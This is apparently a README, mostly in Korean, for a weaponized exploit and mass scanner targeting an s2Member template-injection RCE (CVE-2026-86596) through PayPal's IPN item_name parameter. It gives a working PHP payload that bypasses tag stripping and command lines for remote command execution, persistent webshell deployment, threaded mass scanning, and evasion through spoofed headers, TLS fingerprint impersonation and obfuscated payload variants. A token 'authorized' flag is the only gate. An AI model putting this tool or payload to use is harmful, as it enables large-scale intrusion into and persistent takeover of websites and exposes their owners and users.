
CVE-2026-86596에 대한 단일 파일 익스플로잇 및 대량 스캐너로, PayPal IPN item_name 파라미터를 통한 s2Member 템플릿 인젝션 RCE이며, 우회 변형과 웹셸 배포 기능을 포함합니다.
CVSS 9.8 | CVE-2026-86596 | 패치: 261001+
item_name IPN 파라미터를 통한 s2Member 템플릿 인젝션을 위한 단일 파일 무기화 익스플로잇 및 스캐너입니다.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
페이로드: <%%x%%?php system('id'); ?> → strip_php_tags_deep를 우회하며, 플레이스홀더 정리 후 유효한 <?php로 재조립됩니다.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| 플래그 | 설명 |
|---|---|
--cmd "id" | 실행할 명령 (또는 웹셸의 경우 shell:pass) |
--scan | 대량 스캔 모드 (파일에서 대상 읽기) |
--exploit | 스캔 중 익스플로잇 시도 |
--authorized | 모든 익스플로잇 작업에 필수 |
--recon | 익스플로잇 전 전체 정찰 |
--item-number | 특정 item_number (기본값: 자동 탐색) |
--proxy-verification | s2member_paypal_proxy_verification 키 |
--write-test | 명령 실행 대신 테스트 파일 작성 |
--deploy-shell | 지속적 웹셸 배포 |
--shell-path | 웹셸 파일명 (기본값: shell.php) |
--full-bypass | 모든 우회 변형 시도 (느림) |
--no-evasion | 모든 우회 시도 비활성화 |
--threads N | 스캔 스레드 수 (기본값: 15) |
--output file | JSON/CSV 출력 |
--http-proxy | HTTP(S) 프록시 |
--impersonate | TLS 지문: chrome/firefox/safari/edge |
--insecure | TLS 검증 비활성화 |
--verbose | 상세 출력 |
| 계층 | 변형 |
|---|---|
| 페이로드 | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| 쓰기 | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| 셸 | 5: eval, system, assert, b64_eval, shortcode |
| 요청 | 5: form, multipart, dup, multipart-dup, JSON |
| 헤더 | 7: XFF 스푸핑, PayPal referer/origin, IPN 헤더, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number (보호된 게시물/페이지 ID)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
승인된 테스트 전용입니다. --authorized 플래그는 서면 허가를 확인합니다.